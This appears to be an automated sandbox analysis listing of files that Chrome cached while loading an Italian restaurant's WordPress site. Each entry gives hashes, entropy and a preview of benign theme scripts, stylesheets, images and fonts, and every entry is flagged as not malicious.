SHA-512:	94142747B7C433344F3FBAF5B32D51E41902B896D7288166155214DCA17844C9BF2E9FE83DC961785DA4213DD7771C5C51FEC5D96983C892A930B5BBB1049D5E
Malicious:	false
Reputation:	low
Preview:	(function($).{ .."use strict";.. $(window).on('load', function (e) {...$('.avia-icongrid-flipbox').avia_sc_icongrid();. });....// -------------------------------------------------------------------------------------------..// Icongrid shortcode javascript..// -------------------------------------------------------------------------------------------....$.fn.avia_sc_icongrid = function(options)..{...return this.each(function()...{....var container = $(this),. icongrid_id = '#' + $(this).attr('id'),. methods;.. methods =....{.....buildIconGrid: function () {.. this.setMinHeight($(icongrid_id + ' li article'));. this.createFlipBackground($(icongrid_id + ' li'));.......},......setMinHeight: function (els) {.......if (els.length < 2) return;.......var elsHeights = new Array();......els.css('min-height', '0').each(function (i) {.......var current = $(this);.......var currentHeight = current.outerHeight(true)

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2106
Entropy (8bit):	5.089628914590677
Encrypted:	false
SSDEEP:	48:cL3B241lh+3bn3c3HCbmABEzEO31mzB3aswIzD77TNuw+lYD0JoKT:cL30O/qaZQkSPNJKYYGKT
MD5:	1576E8FB56FD21B095F1DAC17969D2B8
SHA1:	49A5726BA4EEA18651378C5C3DE530C6A9BF9688
SHA-256:	EFDD464E865BD091AC6944B9D999124C8E19FA28A23F25F55651BBDEA9A4BDA9
SHA-512:	56C1A18C78D63A935B06A4358B029D36D938C110F1EF822B723140E0987CE0B2D1135FFE22B54966D129DDD7A4AE0E5EDD95CCFA5928D5F5FBEE92A79A940FF7
Malicious:	false
Reputation:	low
Preview:	/* ..this prevents dom flickering for elements hidden with js, needs to be outside of dom.ready event.also adds several extra classes for better browser support ..this is a separate file that needs to be loaded at the top of the page. other js functions are loaded before the closing body tag to make the site render faster.*/."use strict"..var avia_is_mobile = false;.if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(navigator.userAgent) && 'ontouchstart' in document.documentElement).{..avia_is_mobile = true;..document.documentElement.className += ' avia_mobile ';.}.else.{..document.documentElement.className += ' avia_desktop ';.}.document.documentElement.className += ' js_active ';..(function(){..//set transform property. var prefix = ['-webkit-','-moz-', '-ms-', ""], transform = "";. for (var i in prefix). { . .// http://artsy.github.io/blog/2012/10/18/so-you-want-to-do-a-css3-3d-transform/. .if(prefix[i]+'transform' in document.documentElement.st

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 124 x 156, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7879
Entropy (8bit):	7.948490500677716
Encrypted:	false
SSDEEP:	192:Y+P712lKFZObVtJcK4/Yhtkj2ihnj2lqHeZM4kNthMHB:Uld0UYZD+ZDkNjqB
MD5:	5C8AED765367D33266DB9F6F9851B171
SHA1:	7B64F52297E7720E4C1151B6C68496FC26985AA2
SHA-256:	2D2DB7745F05880F243117B05C91BA05911538833CE77C1BF7D7CB93CBE515D1
SHA-512:	FB90E0996558C1764697308967097481A06E14A4FEF906EABA6AFBB02ACDD49E66AC587A6366A93374C76183659C6EE0AAC7B160CA846C70C2E1A42628CEAF48
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\|..........Z.<....iCCPsRGB IEC61966-2.1..(.u..K.A....G...-,,.DAP..A...FA-b..6.yI.\<..$.....h..@[.Z..E.;.Z.F.9.."bf..o..3..3.T4....T..........B5n..5.....x...y...=v....5..j...Qt#-<!<...m..nQ..e.3.nC.(\|g....../..F(8..&aO..G...04ay9^-.Q..._R...f%...a.$.....1..~.e.......L~_>..U.Ud..b.B..i.E.HuUbLtUF.....}5c....u~.z....pmCn...,+w..Op......[%.{...p~U..p....z...qg,.o.P.....],.........ao.:.\|...d.g.k-......pHYs..=...=....t....IDATx..yt[..?..%..'v.MY a..J..R...(...M.Y..0.SM.9..2.Li{JKK....J.i...6J).%@ .=.8$N...l..x.?....8.,.$s....Y.......r..w...... @....... @....... @....... @....... @....... @..Q...H..3.~..=................o..Q......3.8...J.J....&...{.@.y.0......@1"....f...../...~9..2.(X.....3.C...@3"..8j.;...y..h7.ND.y...#.{.g7.7.......2........_.....^GD.~X..\|.......h......F..i.s...?....4......7.\|#0.x..1.[.U.+........5...{....$.........v....z.4F9"......X......7..._.,@.....N..k3i0.q..D.y..2`90.I..$........%..<w!M....d.>.L.>.l.....Gx4.

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3671
Entropy (8bit):	4.94048523964413
Encrypted:	false
SSDEEP:	48:4g+Y/NsWIQlE5s/WkaMSxlRvdMnisMBg66tcCdGGjQY5j6mSq:4gzsWDB/Ed7RvdMisM+6KEGU4gq
MD5:	81278637F1F5B5E4CE280E4DC50DF4C4
SHA1:	779CF7C899996009300063A7996B8326005BF784
SHA-256:	782FF525FA4D11046B9970A76B6C12A62C0AE9C6CABF0C55EA1735CD24104D50
SHA-512:	6356A62F4DA51A7E31FBCFD8A81E6B023443EEA284A7A723FA3390DA27A4E15736FD63B9C6B66E44BF793312EAA3D164996460FCE5F28D69814EAD45EF79DC36
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Magazine.====================================================================================================================================================== */...av-magazine{clear:both; overflow: hidden; margin-bottom:30px; -webkit-perspective: 1000px; -webkit-backface-visibility: hidden;}..av-magazine-group{clear:both; position: relative; overflow: hidden; }..av-magazine-group.av-hidden-mag{display:none;}..av-magazine-entry{clear:both; position: relative; margin-bottom: 10px;}..av-magazine-thumbnail{float:left; margin-right:15px; width:61px; min-height:61px; border:1px solid; padding:5px; display: block; text-align: center; position: relative;}..av-magazine-thumbnail-link{overflow: hidden; display: block;}..av-magazine-thumbnail img{ display:block; margin:0 auto; }..av-magazine .av-magazine-no-thumb .av-magazine-content-wrap{ mi

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1417
Entropy (8bit):	7.7706275313897875
Encrypted:	false
SSDEEP:	24:Viv6dalvho05f9I1gig+jG6PiU/JY6eLXQSiwPOoLbazXIZlLKuAPWtsBt2JHLzq:VivEa7o051ISeiUB7er/iw9azXgLpYC6
MD5:	62516D09C4FE66BD76DAAF35E1160199
SHA1:	A02F864EDC91B2AF3AFEFCEF2B422BE952659E14
SHA-256:	E69155C97C7718620DD76B32E1C722B8126349049936385B5CD8A484B40B2432
SHA-512:	4CEE2BC045452261824BBF2C820398BF6D9A64BE9566B08CBA639A658691C2AAD0DFFA57D8C52CA096EFD45CDCB106BBDACE1EA2FCA2E48113A568FA5CF50CB3
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-32x32.png
Preview:	.PNG........IHDR... ... .....szz....PIDATX...k.U..?3.Iws.6..&.........6. ]..,..B..._].._.._...E....C.%EQ...Uk.....f.to.;>..t:......r...}.............I ....@.H..@.....7.<..[.....si..<`....@.p....Ek@..'.....k......T.k.#.....I....lg2.p;.........o.y...6./._.s.!.v..Bf.....`.(..\|.m...........v.X.s.8+#....k..E....+....\|........"......[.~.......{.+@..x..E.Z..P.........,...L.\$.......W....#..J.%....W...oE..&......\...t..$.L.s.V.....\n.].XX.>/..e;.s.K...:`..Cj.owH'...u..........Rd.s.ax.p............'5.43..,=...I.y.V.`.(..9.h.......;eeB>.....f-<..R..Nb@.....d..e....W..k.x...D{.W..;......8'....&."iV .tM.J...~.eMrv[_..0=..V....N....%..[?..N......G.Z8.c........T.0S....kW'.k3Si<....{...[..R.\|..=.-.O...L.2<V..@ .....,.k.c..Z.......bg."..-....9....>.^......w..l&..^..._..G...U.r.F.\|F .rAJ1~E....O.g..4f.`g3....M..<.r...l..\|.\|.....E..\|!0.%...p..R.5*A...<.....?+.....h.......E...p.....s....z.h.N]a....7&.v...U..R..1.....B.....@...wN..B.~-..J...s.........76....T..7

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 26840, version 1.0
Category:	downloaded
Size (bytes):	26840
Entropy (8bit):	7.993292152225703
Encrypted:	true
SSDEEP:	768:4jQTVz/f7Kly/97IqMVvuuuwXuh+ffks76H2/N2FM:UQZ/fulyFI5j8gffh76H2/N2FM
MD5:	BD69E2AEC85D6EC6BD301351CC4D9929
SHA1:	ED6CA540B0672F67BED97C9A3A8BDED24742FBC5
SHA-256:	70D2317361D4D7DFC3A23926FF2731627248C7E93C85D9B043C1B6047B2E3225
SHA-512:	CF460FBB1778358038F97513C8B9FDDF7A97FCDFBF62FCB6F7756CB4E3BC5F32C1FE48E46BBD6D04122F3A4C33911D134388A2C07AB42BDD2E4CA5EFDAE61BF1
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/terminaldosis/v20/BXRyvFbejejHgENDQMs-nhycKtDQ9Zg.woff2
Preview:	wOF2......h...........hq.........................R..D..2.`..`..\.8..F.....8.....N...`.6.$.... ..`..&..V.....m..XFB.7.N.}..%lW.n...N........@.B.....b.1F.Q....o....!....)K.Ji.s.M.:..S..U.%..E]...`/..D.DC..F.7l...IHK1=.6.......A...[_.&4.K.jZ..Lu..{..f.et..c..I...e....;.-M..GY.8"l......./.....#.C...C%....._.8.r..zu.......:tP..N..c:.>\...qK"........e...l.%.!.>..e.G.^56..KJ_..[A!dX:.@.aK.....w...4.....Kr.......Z..B....P(P(..../.)f.N.8L..&L......?...:....p.W....(...^*p..T....=.sgf...B)gA(.x.7.[9..T&PeI.T,0K....3.OZ..%.#z.z.._..t.j.+.j.......u.f0.$....lZ.Uw#?c.k.....H...g#../..Z.~z..x.....T..P.~Q.0..L.=.#....8....An.l.\a..gQ...o.O".9"E.Q.............Xv....~.../.?...Y}.-.O......9_._.d....)...7.J...V.........a.1L5....q...k.v.m..6..U`Q9....V.........z.wc.....l_._..}.)!....n........Pg.;0...m..s.7~J.M......V.4T\|..v..\C$...~.c.A].)$.:..D..5....n0..c...W.0.....o_.o.o.B.!!o...s....ron....Rz.<.....0..)$.. q.#........UV.>IGi}P.a<.a.e.._I>8.$;~......P.]......

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3864
Entropy (8bit):	4.962924804401647
Encrypted:	false
SSDEEP:	96:4LZp5F4bvvjXbOjxlHSWIJtxFGLiCtTR2Kv37glKqiF4OeMdRvINkRYqudc:4dpr2HjMpSKiMZ/vbegCkRMc
MD5:	EA40DA6F432E4734DB0A33A43A99BAA5
SHA1:	2A70C56824004A64A5D93951816C1BE7B083AF69
SHA-256:	2A4D4F70113757B77CEDB59D9DE65C76BE8CA829B7CBB4359489AFD1EDEF4A53
SHA-512:	37D6690193C21D6BCABAEB23F5DA7785579ADC237F201938279AA82C02A91CFCCB69C525E64CB3FA77AAE5000C2A92C05A8B0695AF8C0A5D911A297BFA00A64E
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/framework/js/conditional_load/avia_google_maps_front.js?ver=4.5
Preview:	/* . * This file holds javascript functions needed in frontend for the functionallity of the Google Maps widgets and shortcodes. * Handles conditional loading of Google API script.. . @author..Christian "Kriesi" Budschedl. * @copyright.Copyright ( c ) Christian Budschedl. * @link..http://kriesi.at. * @link..http://aviathemes.com. * @since..Version 1.0. * @package .AviaFramework. * . /.."use strict";../. Avia Google Maps in frontend. */.(function($).{..var objAviaGoogleMaps = null;....var AviaGoogleMaps = function(){......if( 'undefined' == typeof window.av_google_map \|\| 'undefined' == typeof avia_framework_globals )...{....return;...}......if( objAviaGoogleMaps != null )...{....return;...}......objAviaGoogleMaps = this;......this.document = $( document );...this.script_loading = false;...this.script_loaded = false;...this.script_source = avia_framework_globals.gmap_avia_api;...this.maps = {};...this.loading_icon_html = '<div class="ajax_load"><span class="ajax_load_inner"></spa

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (310)
Category:	downloaded
Size (bytes):	2938
Entropy (8bit):	5.074446683447722
Encrypted:	false
SSDEEP:	24:uLkpRhA3j2j5RJijbwYXi+zr2vZiMhie1WOAviAZJnupilIASA3DJDfQATfZpBQg:JjAqjhknwDt1WttEaztJDZp0Mda7Q
MD5:	4A67BEDDA5B0C5A3FF09B25C3174087B
SHA1:	444BBE9A4F07B07ECADED91C3A83404FCD99FFDF
SHA-256:	3836438097C8DFA0A82C58CE10D3AA507984C8FE27A1786B35C00CC67C2B22A5
SHA-512:	2636792EFC58AF112AFD295A0486CE1A3726204EF8BF5A50DDA63E0242F25F7116BD8A55D122C5374BDE579A5A2FDF07EA06E1D828DA829E6C02B778D568BD8B
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notification/notification.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Message Box.====================================================================================================================================================== */....avia_message_box{.text-align: center;.position: relative;.border-color: #e1e1e1;.background-color: #f8f8f8;.clear: both;.margin:30px 0;.}..div .avia_message_box .avia_message_box_title{.background-color: rgba(0,0,0,0.05);.position: absolute;.top:0;.left:0;.padding:5px 20px;.font-size: 11px;.text-shadow: none;.}...avia_message_box_content{ font-size: 14px; text-transform: uppercase; font-weight:600;}..avia_message_box_icon{ position: relative; left: -0.5em; font-size: 1.3em;}..avia_message_box.avia-size-normal{ padding: 17px; }..avia_message_box.avia-size-large{ padding: 35px; }...avia_message_box.avia-color-green , .avia_message_box.avia-color-green a. {background-colo

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 75 x 75, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	25358
Entropy (8bit):	5.006278877714235
Encrypted:	false
SSDEEP:	384:lJN9NvO3tM5sSo72OlJYlRbVu+R48HAm/hh+:XN9Nv4tXX7v09uM4mr6
MD5:	35F6EF9958F82B885739F7321990C682
SHA1:	8822B7B4F49C075851B682FC086B370414206F7F
SHA-256:	1D08E51346D47A73D485A1C9858885D6B2D67B89ACDF61717675DE2545E9F21F
SHA-512:	67F8F5ED0A615847253B15C70FAA5022BC6EA8CDF7AE84389D1A032FB0DB98BD846E9FE04151D821EBA50DE21B6ED724B438D8321465923F6C7165843C59B51F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...K...K......,.....pHYs.................iCCPPhotoshop ICC profile..x..wT.Y.......-!.RBo....k...FH ...B.......X...eDFD... cA,X..{..AE]..6T....{v..=g.s.9..{........Nr.R1...-..b...I.)l.. .......\.ott8...p.....6\.T..[...sy.H4...sy...1...'....$.0^......`..S..-...Lr=.0.&............D.re...].`...r..'....E.....x.\>.M........h..`..O>...LSzr..%O......Q.T.].....+..0...P....$..&kI..%i.QS,.O......!.S...O.b>7 l..Y.S.M...9qS,[.....#....%....Nq.(.3....)..%DNqnVl......S.({..)g.....K...Q.....G...#..)}......J=7/VyV..S....i.h.."..<y.29.....r.H ..}.Rq:.#...b;...$%..'......@XW...N....D0.q..N<.`\|.........)dy.......P.&h.>.....8...@ .B..A2,...!.d...`..C)l..P......!8.mp...E..}p......K...0. ...#.D.1@L.k..qE..@$..A..TD.H..R..CJ.2...4"."'...e....."#.[....4...f.l...E..8t!@s.\|...V.u.A..=.^Eo...Kt.....0C..s...(,...d.*.....f....n`..+.3..c..8.........rp.p.qU...V.y... n...O.....x.>././...+..............E0'..B..L...F..B....O."...Dm.5..E....b.N.A...u.0...J2 9..H)$.i-..t.t.t

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 52648, version 1.0
Category:	downloaded
Size (bytes):	52648
Entropy (8bit):	7.996033428788516
Encrypted:	true
SSDEEP:	1536:9eBlxzWRUJTVGP5v267Q1Sk+S2/D8l+8O2:9maeeP5v267Q7w8z
MD5:	657E828FB3A5963706E24CBF9D711BB8
SHA1:	84C08557D977E0A46EC8941B2D84235069DAB229
SHA-256:	45E39853C41558C4922FF1B0895547A99E378F136EC3D9D2F4DF15CC269485FA
SHA-512:	EEBEDF24A2516B860FFA2C9241474157604F8FC2EDC9E3BF3C0A0DDDF3168519F13FC195D48D232ED8F4A5DB1C48EF0563D62B2E2BDCF55F936CBD319AB18E16
Malicious:	false
Reputation:	low
URL:	https://use.fontawesome.com/releases/v5.0.0/webfonts/fa-brands-400.woff2
Preview:	wOF2.............r....V.........................T.V..f...h..X.6.$..\|..... ....m[.#qB..........v......@(B...............1......T+.....d.2OaAf.j.....b.>.........?2\|/F...PRJ4[ &..b....E......../...q..4`MD.c...-\|.a.q.b..h..m..4....... ..N...?B....k.?.Ja.F7=....u\|....zx..z..L.....ht......:w.-.P..!...Yh..q.=..'aP[........ .d.u......D65...,.HD.6..........8..4...(...V.........Q..../...8@.+J.B..I.L........N...sn.n............&.5.rC0.nc,.X...".0r......D.."F.6........b..._.....q$.c.[.y......../.0..#..$,.?..P......_...J..&...).c^.do...;~.....^...K...........7.[...BN..I.o.8.....{.....K.I#....~w._[e..... ..C@.n*.qd.....]T..Im.....';...."Y.,S$.I.N...6....m.!...;...2.m9E.\..d.=.W...{...S.#...y$T...]G...Bdp^.#.B....@a];.Q}....._.f..Y.I-....!9...].F/a.[.^..0..VMw..@..]...[.......-.~....U..)m....fc..N..-..iI.l]........u.{..k.y....+)X-.+p.V<.19.q.u8...T....n"..u....~..lIj.\..l....Pa$.$....i.....4%.....k.....e...\l9d..d...R.ij..NHRP:..>...s`.\|

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2974
Entropy (8bit):	4.954218561225648
Encrypted:	false
SSDEEP:	48:eUT6SIp7kVrXKkVrOAkVrdpT1tGoLa0u5azvF6jiJTVfXII0mIUwQk6D820W8DC5:nkpkL/aJNg0u5arFTZA0rDgWmo
MD5:	024313E08099EEB557F7C03CE4B3EE82
SHA1:	DE3653E75740ECED4EF4D8D7BDB8613A2C1038FF
SHA-256:	0F074F370473A437A345467CD13A2E090520221E3340B1253959FEFB587B89C5
SHA-512:	B5BC1D4C1484F927ABA0B08919E602E14462014CB90AFF43AF8D895172F4DB712B3EB0C3429735EE2B123CF1B314A9AF117EEE9FF2EBCCC58020ED4607DAEBAF
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers/numbers.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// Big Number animation shortcode javascript.// -------------------------------------------------------------------------------------------..(function($).{..// options.simple_up = dont prepend leading zeros, options.instant_start = trigger counting instantly, options.start_timer = delay when to start counting..$.fn.avia_sc_animated_number = function(options) ..{...if(!this.length) return;...if(this.is('.avia_sc_animated_number_active')) return;......this.addClass('avia_sc_animated_number_active');.....var skipStep = false,....simple_upcount .= (options && options.simple_up) ? true : false,....start_timer .= (options && options.start_timer) ? options.start_timer : 300,...start_count = function(element, countTo, increment, current, fakeCountTo)...{............//calculate the new number....var newCount = current + increment;........//if the number is bigger than our final number set the number a

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 124 x 156, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	7879
Entropy (8bit):	7.948490500677716
Encrypted:	false
SSDEEP:	192:Y+P712lKFZObVtJcK4/Yhtkj2ihnj2lqHeZM4kNthMHB:Uld0UYZD+ZDkNjqB
MD5:	5C8AED765367D33266DB9F6F9851B171
SHA1:	7B64F52297E7720E4C1151B6C68496FC26985AA2
SHA-256:	2D2DB7745F05880F243117B05C91BA05911538833CE77C1BF7D7CB93CBE515D1
SHA-512:	FB90E0996558C1764697308967097481A06E14A4FEF906EABA6AFBB02ACDD49E66AC587A6366A93374C76183659C6EE0AAC7B160CA846C70C2E1A42628CEAF48
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2021/06/CiPASSO-Bistrot-Roma-userci.png
Preview:	.PNG........IHDR...\|..........Z.<....iCCPsRGB IEC61966-2.1..(.u..K.A....G...-,,.DAP..A...FA-b..6.yI.\<..$.....h..@[.Z..E.;.Z.F.9.."bf..o..3..3.T4....T..........B5n..5.....x...y...=v....5..j...Qt#-<!<...m..nQ..e.3.nC.(\|g....../..F(8..&aO..G...04ay9^-.Q..._R...f%...a.$.....1..~.e.......L~_>..U.Ud..b.B..i.E.HuUbLtUF.....}5c....u~.z....pmCn...,+w..Op......[%.{...p~U..p....z...qg,.o.P.....],.........ao.:.\|...d.g.k-......pHYs..=...=....t....IDATx..yt[..?..%..'v.MY a..J..R...(...M.Y..0.SM.9..2.Li{JKK....J.i...6J).%@ .=.8$N...l..x.?....8.,.$s....Y.......r..w...... @....... @....... @....... @....... @....... @..Q...H..3.~..=................o..Q......3.8...J.J....&...{.@.y.0......@1"....f...../...~9..2.(X.....3.C...@3"..8j.;...y..h7.ND.y...#.{.g7.7.......2........_.....^GD.~X..\|.......h......F..i.s...?....4......7.\|#0.x..1.[.U.+........5...{....$.........v....z.4F9"......X......7..._.,@.....N..k3i0.q..D.y..2`90.I..$........%..<w!M....d.>.L.>.l.....Gx4.

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8442
Entropy (8bit):	4.883712838949273
Encrypted:	false
SSDEEP:	96:GIWPKhYRU1hU0+Z9BQR4hqcwsUEVqUWAGITIRMLRRMKHKQnhL65b1pZ1nH91rQ7b:mPooU7UbZ9BZNQE2PLavLJJqvH7cv
MD5:	D796060840929B29AF732AB67485068A
SHA1:	BD4A5D4D0AD834B5AC95D95FEF448E070BBDDFE5
SHA-256:	729B2AEEB7C20E1A31A624DCF851D7CFE83551465820417D5531880C81FBFBED
SHA-512:	93490925D406B6CA471E074BCC3B62833B218280BF63835B2723DAE61F126527D325998954605872690373B38CF1C111E19400E1BFC269AF087909DF232C3820
Malicious:	false
Reputation:	low
Preview:	(function($).{.."use strict";.// -------------------------------------------------------------------------------------------.// Aviaccordion Slideshow .// .// accordion slider script.// -------------------------------------------------------------------------------------------...$.AviaccordionSlider = function(options, slider)..{.. this.$slider .= $( slider );.. this.$inner. .= this.$slider.find('.aviaccordion-inner');.. this.$slides.= this.$inner.find('.aviaccordion-slide');.. this.$images.= this.$inner.find('.aviaccordion-image');.. this.$last..= this.$slides.filter(':last');.. this.$titles .= this.$slider.find('.aviaccordion-preview');.. this.$titlePos = this.$slider.find('.aviaccordion-preview-title-pos');.. this.$titleWrap = this.$slider.find('.aviaccordion-preview-title-wrap');.. this.$win. .= $( window );.. .. if($.avia_utilities.supported.transition === undefined)...{....$.avia_utilities.supported.transition = $.avia_utilities.supports('t

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4907
Entropy (8bit):	4.8971761437029535
Encrypted:	false
SSDEEP:	96:8p4bkPVguMB/5F+vhT49gTlQnOb1wXq+E52fHhrZ7BZI/13:8pouM5+vhT49gdb1wXqj5GE/13
MD5:	C646E2118F0A221134028E1C39EC2442
SHA1:	312417FB33B9C1D9E902BE3994E69E79F21872FF
SHA-256:	0BA37342832476B32564B738A6278F765C1B0D13D486BCB062E764B10FE8788D
SHA-512:	1C9B4A36730DBDAFB88DC1AB09B890AEB9A66AC18F734494392371C225CD28EA372D0216AB855E9C4E87C9080FFB7434C03E7DAD39E02299DAB8EE14DE72FB8F
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Layer Slider.====================================================================================================================================================== */.div .avia-layerslider .ls-fullwidth .ls-nav-sides,.div .avia-layerslider .ls-fullwidth .ls-bottom-slidebuttons a,.div .avia-layerslider .ls-fullwidth .ls-nav-prev,.div .avia-layerslider .ls-fullwidth .ls-nav-next,.div .avia-layerslider .ls-fullwidth .ls-nav-start,.div .avia-layerslider .ls-fullwidth .ls-nav-stop,.div .avia-layerslider .ls-fullwidth .ls-fullscreen,.div .avia-layerslider .ls-fullwidth .ls-loading-container,.div .avia-layerslider .ls-noskin .ls-loading-container,.div .avia-layerslider .ls-noskin .ls-fullscreen {..background-image: none;.}.....avia-layerslider .ls-container.ls-fullwidth{.margin-bottom:0 !important;.}...avia-layerslider{.border-top-style: sol

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5081
Entropy (8bit):	4.872155066547225
Encrypted:	false
SSDEEP:	96:Z75kJMEEWSH4zC1t3+bMkNG5jOOhZ9rU4prcV2fGURJf8:KAH4zC1U/NG5jO4Zi4prZf8
MD5:	8284F1A53A88616626271EA58FF8700C
SHA1:	3351D77F4D01733C00A5C2F7ECC89C571D3E36A8
SHA-256:	46E51E0E7D593FD1EA59775973395AF361FA164473C0E1CE8CF606A0CC684C60
SHA-512:	5B8A93A31C55BA7941BE152D58DD5537F9716574266A9B5FA3B34440387E35AB4B2B111B4D7C659B5258DD919C2EAB73A0DCC5744DE03A7865D0B80347B7191B
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// Horizontal Gallery.// -------------------------------------------------------------------------------------------..(function($).{ .."use strict";...$.fn.avia_hor_gallery= function(options)..{...var defaults =....{.....slide_container.: '.av-horizontal-gallery-inner', //element with max width.....slide_element.: '.av-horizontal-gallery-slider', //element that gets moved.....slide_content.: '.av-horizontal-gallery-wrap',.....active...: 'av-active-gal-item',....// must be a class string without the . in front.....prev...: '.av-horizontal-gallery-prev',.....next...: '.av-horizontal-gallery-next'....};.....var options = $.extend(defaults, options);......var win ...= $(window),....browserPrefix .= $.avia_utilities.supports('transition'),....cssActive ..= this.browserPrefix !== false ? true : false,....isMobile ..= $.avia_utilities.isMobile,....transform3d..= document.documentElement.className.in

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1417
Entropy (8bit):	7.7706275313897875
Encrypted:	false
SSDEEP:	24:Viv6dalvho05f9I1gig+jG6PiU/JY6eLXQSiwPOoLbazXIZlLKuAPWtsBt2JHLzq:VivEa7o051ISeiUB7er/iw9azXgLpYC6
MD5:	62516D09C4FE66BD76DAAF35E1160199
SHA1:	A02F864EDC91B2AF3AFEFCEF2B422BE952659E14
SHA-256:	E69155C97C7718620DD76B32E1C722B8126349049936385B5CD8A484B40B2432
SHA-512:	4CEE2BC045452261824BBF2C820398BF6D9A64BE9566B08CBA639A658691C2AAD0DFFA57D8C52CA096EFD45CDCB106BBDACE1EA2FCA2E48113A568FA5CF50CB3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz....PIDATX...k.U..?3.Iws.6..&.........6. ]..,..B..._].._.._...E....C.%EQ...Uk.....f.to.;>..t:......r...}.............I ....@.H..@.....7.<..[.....si..<`....@.p....Ek@..'.....k......T.k.#.....I....lg2.p;.........o.y...6./._.s.!.v..Bf.....`.(..\|.m...........v.X.s.8+#....k..E....+....\|........"......[.~.......{.+@..x..E.Z..P.........,...L.\$.......W....#..J.%....W...oE..&......\...t..$.L.s.V.....\n.].XX.>/..e;.s.K...:`..Cj.owH'...u..........Rd.s.ax.p............'5.43..,=...I.y.V.`.(..9.h.......;eeB>.....f-<..R..Nb@.....d..e....W..k.x...D{.W..;......8'....&."iV .tM.J...~.eMrv[_..0=..V....N....%..[?..N......G.Z8.c........T.0S....kW'.k3Si<....{...[..R.\|..=.-.O...L.2<V..@ .....,.k.c..Z.......bg."..-....9....>.^......w..l&..^..._..G...U.r.F.\|F .rAJ1~E....O.g..4f.`g3....M..<.r...l..\|.\|.....E..\|!0.%...p..R.5*A...<.....?+.....h.......E...p.....s....z.h.N]a....7&.v...U..R..1.....B.....@...wN..B.~-..J...s.........76....T..7

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
